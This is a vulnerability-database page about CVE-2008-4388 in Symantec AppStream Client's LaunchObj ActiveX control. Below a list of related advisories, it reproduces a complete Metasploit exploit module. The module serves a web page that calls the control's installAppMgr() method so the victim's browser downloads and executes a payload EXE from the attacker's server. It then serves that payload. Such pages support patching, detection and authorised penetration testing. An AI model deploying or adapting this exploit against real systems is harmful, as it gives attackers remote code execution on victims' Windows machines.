Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute

🗓️ 18 Jan 2009 02:19:26Reported by MC <[email protected]>Type

Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execut

Reporter	Title	Published	Views	Family All 20
Tenable Nessus	Symantec AppStream Client LaunchObj ActiveX Control Multiple Unsafe Methods (SYM09-001)	17 Jan 200900:00	–	nessus
Circl	CVE-2008-4388	24 Nov 201000:00	–	circl
Check Point Advisories	Update Protection against Symantec AppStream Client LaunchObj ActiveX Control Program Execution	23 Jan 200900:00	–	checkpoint_advisories
Check Point Advisories	Symantec AppStream Client LaunchObj ActiveX Control (CVE-2008-4388)	16 May 201000:00	–	checkpoint_advisories
Check Point Advisories	Symantec AppStream Client LaunchObj ActiveX Control Code Execution (CVE-2008-4388)	16 Apr 201200:00	–	checkpoint_advisories
CVE	CVE-2008-4388	20 Jan 200916:00	–	cve
Cvelist	CVE-2008-4388	20 Jan 200916:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_APPSTREAM	20 Jan 200916:30	–	d2
Exploit DB	Symantec AppStream LaunchObj - ActiveX Control Arbitrary File Download and Execute (Metasploit)	24 Nov 201000:00	–	exploitdb
NVD	CVE-2008-4388	20 Jan 200916:30	–	nvd

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute',
      'Description'    => %q{
          This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability
        is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()"
        method. The insecure method can be exploited to download and execute arbitrary files in the
        context of the currently logged-on user.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2008-4388' ],
          [ 'OSVDB', '51410' ],
        ],
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => '2009-01-15',
      'DefaultTarget'  => 0))

  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    payload_url =  "http://"
    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"

    if (request.uri.match(/payload/))
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_exe({ :code => p.encoded })
      print_status("Sending payload EXE")
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    vname  = rand_text_alpha(rand(100) + 1)
    exe    = rand_text_alpha(rand(5) + 1 )

    content = %Q|
    <html>
      <object id='#{vname}' classid='clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8'></object>
      <script language="javascript">
        #{vname}.installAppMgr("#{payload_url}/#{exe}.exe");
      </script>
    </html>
        |

    print_status("Sending #{self.name}")

    send_response_html(cli, content)

    handler(cli)

  end
end

02 Oct 2020 20:00Current

0.7Low risk

Vulners AI Score0.7

CVSS 29.3

EPSS0.37721